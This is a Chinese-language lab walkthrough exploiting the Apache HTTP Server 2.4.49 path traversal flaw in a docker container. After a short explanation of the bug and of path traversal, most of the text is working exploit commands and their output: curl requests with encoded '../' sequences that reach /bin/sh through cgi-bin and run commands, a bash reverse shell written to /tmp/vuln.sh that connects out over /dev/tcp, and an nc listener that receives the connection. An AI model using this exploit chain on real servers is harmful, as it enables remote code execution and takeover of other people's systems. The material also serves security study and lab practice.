在 Apache HTTP Server 2.4.49 中对路径规范化进行的修改中发现了一个缺陷。攻击者可以利用路径遍历攻击,将 URL 映射到由类似 Alias 指令配置的目录之外的文件。
如果这些目录之外的文件未受到常规默认配置“require all denied”的保护,则这些请求可能成功。如果这些别名路径上还启用了 CGI 脚本,则可能导致远程代码执行。
此问题已知在野外被利用。
此问题仅影响 Apache 2.4.49,不影响更早版本。
路径遍历攻击(也称为目录遍历)旨在访问存储在 Web 根文件夹之外的文件和目录。通过操纵引用文件的变量,使用“点-点-斜杠(../)”序列及其变体,或使用绝对文件路径,可能可以访问文件系统上任意文件和目录,包括应用程序源代码或配置以及关键系统文件。需要注意的是,文件访问受系统操作访问控制限制(例如在 Microsoft Windows 操作系统中被锁定或正在使用的文件的情况)。
这种攻击也称为“点-点-斜杠”、“目录遍历”、“目录爬升”和“回溯”。
$ docker-compose build
$ docker-compose up
确认其工作
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
受害者:localhost:1234
攻击者:192.168.1.12
根据文档,这是一个允许我们在远程执行代码的漏洞(RCE)。
我们可以通过使用 cgi-bin 文件夹执行 curl 来利用它。
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
检查我们是否真的可以执行命令,例如 id:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. 反向 Shell
我们将通过在受害者服务器上创建一个 bash 文件来测试反向 Shell。
以 PayloadsAllTheThings 仓库中的 bash 反向 Shell 为例。
以下是一个示例:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
让我们在受害者的机器的 /tmp/ 文件夹中创建文件 vuln.sh!
该文件将包含我们的反向 Shell,我们可以远程运行它。它将连接到我们本地机器的 44 端口。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
你可以使用 cat 命令检查文件内容:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. 使用 ncat 创建监听器
在本地机器上创建监听器。
$ nc -lvnp 44
剩下的就是执行远程文件。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
响应:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.